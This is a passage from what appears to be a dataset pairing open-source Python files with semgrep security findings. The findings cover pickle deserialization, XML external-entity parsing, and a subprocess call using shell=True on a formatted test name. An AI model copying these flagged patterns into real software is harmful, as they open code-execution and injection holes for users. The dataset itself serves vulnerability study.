72, "offset": 1840}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_a3748e6309cda9f2_1e85914f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 62, "line_end": 63, "column_start": 23, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/a3748e6309cda9f2.py", "start": {"line": 62, "col": 23, "offset": 1985}, "end": {"line": 63, "col": 69, "offset": 2077}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a3748e6309cda9f2_bddc240c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 62, "line_end": 63, "column_start": 23, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/a3748e6309cda9f2.py", "start": {"line": 62, "col": 23, "offset": 1985}, "end": {"line": 63, "col": 69, "offset": 2077}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 10 | true | [
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.p... | [
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
34,
34,
39,
39,
45,
45,
57,
57,
62,
62
] | [
35,
35,
40,
40,
45,
45,
58,
58,
63,
63
] | [
23,
23,
23,
23,
26,
26,
23,
23,
23,
23
] | [
72,
72,
69,
69,
67,
67,
72,
72,
69,
69
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserial... | [
"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead t... | [
5,
5,
5,
5,
5,
5,
5,
5,
5,
5
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | utils.py | /pm/pmwriter/utils.py | DreamerDDL/noc | BSD-3-Clause | |
2024-11-18T20:16:07.081949+00:00 | 1,569,962,969,000 | 50ea31be027e63c0163a1bc09635a412e96456d2 | 2 | {
"blob_id": "50ea31be027e63c0163a1bc09635a412e96456d2",
"branch_name": "refs/heads/master",
"committer_date": 1569962969000,
"content_id": "8ef7493098b631b296444c1f19ec67c812fee7a2",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "dba1d1f78767ed28af327af9adf445a574d87c42",
"extension": "py",
"filename": "general.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3865,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/app/ocr/general.py",
"provenance": "stack-edu-0054.json.gz:570934",
"repo_name": "Endrych/pero_ocr_web",
"revision_date": 1569962969000,
"revision_id": "e95d951c2f490cd0284ee580c320a04033b7523c",
"snapshot_id": "a98c2e3049749fb6a26c03ec74bd1f8ca9d1dbe1",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Endrych/pero_ocr_web/e95d951c2f490cd0284ee580c320a04033b7523c/app/ocr/general.py",
"visit_date": "2020-08-04T23:27:16.473258"
} | 2.328125 | stackv2 | import uuid
from app.db.model import RequestState, RequestType, Request, DocumentState, TextRegion, TextLine, Annotation
from app.db.general import get_document_by_id, get_request_by_id, get_image_by_id, get_text_region_by_id, get_text_line_by_id
from app.db import db_session
from flask import jsonify, current_app
import xml.etree.ElementTree as ET
from PIL import Image, ImageDraw, ImageColor
import os
def create_ocr_analysis_request(document):
return Request(id=str(uuid.uuid4()), document=document, document_id=document.id,
request_type=RequestType.OCR, state=RequestState.PENDING)
def can_start_ocr(document):
if not Request.query.filter_by(document_id=document.id, request_type=RequestType.OCR,
state=RequestState.PENDING).first() and document.state == DocumentState.COMPLETED_LAYOUT_ANALYSIS:
return True
return False
def add_ocr_request_and_change_document_state(request):
request.document.state = DocumentState.WAITING_OCR
db_session.add(request)
db_session.commit()
db_session.refresh(request)
def get_first_ocr_request():
return Request.query.filter_by(state=RequestState.PENDING, request_type=RequestType.OCR) \
.order_by(Request.created_date).first()
def create_json_from_request(request):
val = {'id': request.id, 'document': {'id': request.document.id, 'images': []}}
for image in request.document.images:
if not image.deleted:
val['document']['images'].append(image.id)
return jsonify(val)
def insert_lines_to_db(ocr_results_folder):
for xml_file_name in os.listdir(ocr_results_folder):
xml_path = os.path.join(ocr_results_folder, xml_file_name)
root = ET.parse(xml_path).getroot()
for region in root.iter('{http://schema.primaresearch.org/PAGE/gts/pagecontent/2013-07-15}TextRegion'):
region_id = region.get('id')
textregion = get_text_region_by_id(region_id)
print(region_id)
for order, line in enumerate(region.iter('{http://schema.primaresearch.org/PAGE/gts/pagecontent/2013-07-15}TextLine')):
coords = line[0].get('points')
baseline = line[1].get('points')
heights_split = line.get('custom').split()
heights = "{} {}".format(heights_split[1][1:-1], heights_split[2][:-1])
line_text = line[2][0].text
confidences = line[3].text
print("Coords:", coords)
print("Baseline:", baseline)
print("Heights:", heights)
print("Confidences:", confidences)
print(line_text)
text_line = TextLine(order=order, points=coords, baseline=baseline,
heights=heights, confidences=confidences, text=line_text, deleted=False)
textregion.textlines.append(text_line)
db_session.commit()
def insert_annotations_to_db(annotations):
for annotation in annotations:
text_line = get_text_line_by_id(annotation['id'])
annotation_db = Annotation(text_original=annotation['text_original'], text_edited=annotation['text_edited'], deleted=False)
text_line.annotations.append(annotation_db)
db_session.commit()
def update_text_lines(annotations):
for annotation in annotations:
text_line = get_text_line_by_id(annotation['id'])
text_line.text = annotation['text_edited']
db_session.commit()
def change_ocr_request_and_document_state(request, request_state, document_state):
request.state = request_state
request.document.state = document_state
db_session.commit()
def change_ocr_request_and_document_state_on_success(request):
change_ocr_request_and_document_state(request, RequestState.SUCCESS, DocumentState.COMPLETED_OCR)
return | 83 | 45.58 | 133 | 17 | 832 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_962b6d8c3efa09f9_9a772336", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 6, "line_end": 6, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/962b6d8c3efa09f9.py", "start": {"line": 6, "col": 1, "offset": 316}, "end": {"line": 6, "col": 35, "offset": 350}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_962b6d8c3efa09f9_a850bc23", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(xml_path)", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 16, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmpb8jm_z1l/962b6d8c3efa09f9.py", "start": {"line": 41, "col": 16, "offset": 1732}, "end": {"line": 41, "col": 34, "offset": 1750}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(xml_path)", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-611",
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml",
"rules.python.lang.security.use-defused-xml-parse"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
6,
41
] | [
6,
41
] | [
1,
16
] | [
35,
34
] | [
"A04:2017 - XML External Entities (XXE)",
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.",
"The native Python `xml` library is vulnerable to XML Exter... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | general.py | /app/ocr/general.py | Endrych/pero_ocr_web | BSD-2-Clause | |
2024-11-18T19:23:05.301928+00:00 | 1,492,122,467,000 | 808f7540cec211a8a7ca0fd2d8423970b0825525 | 3 | {
"blob_id": "808f7540cec211a8a7ca0fd2d8423970b0825525",
"branch_name": "refs/heads/master",
"committer_date": 1492122467000,
"content_id": "3642ee5b60f552cb8b3de41d05a0f6fd4eac2021",
"detected_licenses": [
"MIT"
],
"directory_id": "57c77501abeb30838fa822dcf31708fc7a0847c5",
"extension": "py",
"filename": "executor.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 962,
"license": "MIT",
"license_type": "permissive",
"path": "/scheduler/executor.py",
"provenance": "stack-edu-0054.json.gz:570951",
"repo_name": "yangjourney/test-manager",
"revision_date": 1492122467000,
"revision_id": "6b586ea83b5043b05295af29942aafe160b4975e",
"snapshot_id": "183bb041ab643f64abfc2a41698c13c7a9cc5fc1",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/yangjourney/test-manager/6b586ea83b5043b05295af29942aafe160b4975e/scheduler/executor.py",
"visit_date": "2021-06-15T18:02:18.877233"
} | 2.765625 | stackv2 | import threading
import subprocess
import os
class TestExecutor(threading.Thread):
"""
The general thread to perform the tests executions
"""
def __init__(self, run_id, test_name, queue):
super().__init__()
self.run_id = run_id
self.test_name = test_name
self.queue = queue
# __init __()
def run(self):
"""
Execute the command to perform the test execution. The return
code is enqueued so the scheduler can determine if the run has
completed
"""
filename = "app/static/logs/{}.txt".format(self.run_id)
os.makedirs(os.path.dirname(filename), exist_ok=True)
with open(filename, "w") as f:
CMD = "python3 -m unittest -v autotests/tests/{}.py 2>&1".format(
self.test_name)
return_code = subprocess.call(CMD, stdout=f, shell=True)
self.queue.put((self.run_id, return_code))
# run()
| 32 | 29.06 | 77 | 13 | 218 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ce4be6259c90f6f9_33e19a11", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 14, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ce4be6259c90f6f9.py", "start": {"line": 26, "col": 14, "offset": 685}, "end": {"line": 26, "col": 33, "offset": 704}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_ce4be6259c90f6f9_a980690b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 27, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/ce4be6259c90f6f9.py", "start": {"line": 30, "col": 27, "offset": 852}, "end": {"line": 30, "col": 69, "offset": 894}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_ce4be6259c90f6f9_26178cba", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'call' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 64, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpb8jm_z1l/ce4be6259c90f6f9.py", "start": {"line": 30, "col": 64, "offset": 889}, "end": {"line": 30, "col": 68, "offset": 893}, "extra": {"message": "Found 'subprocess' function 'call' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
30,
30
] | [
30,
30
] | [
27,
64
] | [
69,
68
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Found 'subprocess' functio... | [
7.5,
7.5
] | [
"LOW",
"HIGH"
] | [
"HIGH",
"LOW"
] | executor.py | /scheduler/executor.py | yangjourney/test-manager | MIT | |
2024-11-18T19:23:05.405997+00:00 | 1,513,375,715,000 | 059fa0e9f820fdd259f715cdc0d5379992010214 | 3 | {
"blob_id": "059fa0e9f820fdd259f715cdc0d5379992010214",
"branch_name": "refs/heads/master",
"committer_date": 1513375715000,
"content_id": "3a962ac4309a59bffa62234e37a7ab02c30c188d",
"detected_licenses": [
"MIT"
],
"directory_id": "3f8f165b3a0deab912e98f291640530f9e7b4f9d",
"extension": "py",
"filename": "error_analysis_token_nb.py",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 110385440,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1703,
"license": "MIT",
"license_type": "permissive",
"path": "/naive_bayes/error_analysis_token_nb.py",
"provenance": "stack-edu-0054.json.gz:570953",
"repo_name": "chris522229197/iTalk",
"revision_date": 1513375715000,
"revision_id": "d377e8e5bd8bc1fbad180e5305d794fb8981bd4c",
"snapshot_id": "9170ad9ce49510e293c08a7b154c41787d7b3f94",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/chris522229197/iTalk/d377e8e5bd8bc1fbad180e5305d794fb8981bd4c/naive_bayes/error_analysis_token_nb.py",
"visit_date": "2021-05-07T01:41:34.303455"
} | 3.15625 | stackv2 | import pandas as pd
import matplotlib.pyplot as plt
import pickle
with open('naive_bayes/train_prediction.p', 'rb') as file:
train_prediction = pickle.load(file)
wrong = train_prediction[train_prediction['after'] != train_prediction['predicted']]
# Examine whether the tokens are transformed
transform_ratio = sum(wrong['before'] != wrong['after']) / wrong.shape[0]
print('Ratio of actual transformation: ' + str(transform_ratio))
# Examine whether the predictions are different from the original
predict_transform_ratio = sum(wrong['before'] != wrong['predicted']) / wrong.shape[0]
print('Ratio of predicted transformation: ' + str(predict_transform_ratio))
# Examine the class distribution for the wrong prediction
class_counts = pd.value_counts(wrong['class'].values, sort=True)
class_counts.rename('wrong', inplace=True)
plt.figure(figsize = (12, 12))
class_counts.plot(kind='bar')
plt.title('Figure 1. Disribution of token class in incorrect predictions.')
plt.xlabel('Token class')
plt.ylabel('Frequency')
plt.savefig('naive_bayes/conut_per_class.png')
# Normalize the counts by the total counts in the whole train dev set
total_counts = pd.value_counts(train_prediction['class'].values)
total_counts.rename('train_dev', inplace=True)
merged = pd.concat([class_counts, total_counts], axis=1, join='inner')
merged['normalized'] = merged['wrong'] / merged['train_dev']
plt.figure(figsize = (12, 12))
merged.sort_values('normalized', ascending=False)['normalized'].plot(kind='bar')
plt.title('Figure 2. Normalized distribution of token class in incorrect predictions.')
plt.xlabel('Token class')
plt.ylabel('Normalized frequency')
plt.savefig('naive_bayes/normalized_conut_per_class.png') | 40 | 41.6 | 87 | 10 | 387 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_f87f62b0a3f870b5_fb7da844", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 6, "line_end": 6, "column_start": 24, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/f87f62b0a3f870b5.py", "start": {"line": 6, "col": 24, "offset": 149}, "end": {"line": 6, "col": 41, "offset": 166}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
6
] | [
6
] | [
24
] | [
41
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | error_analysis_token_nb.py | /naive_bayes/error_analysis_token_nb.py | chris522229197/iTalk | MIT | |
2024-11-18T19:23:06.309977+00:00 | 1,563,233,406,000 | d868ea090a733a04664cb48ed4c09b2648e6326b | 3 | {
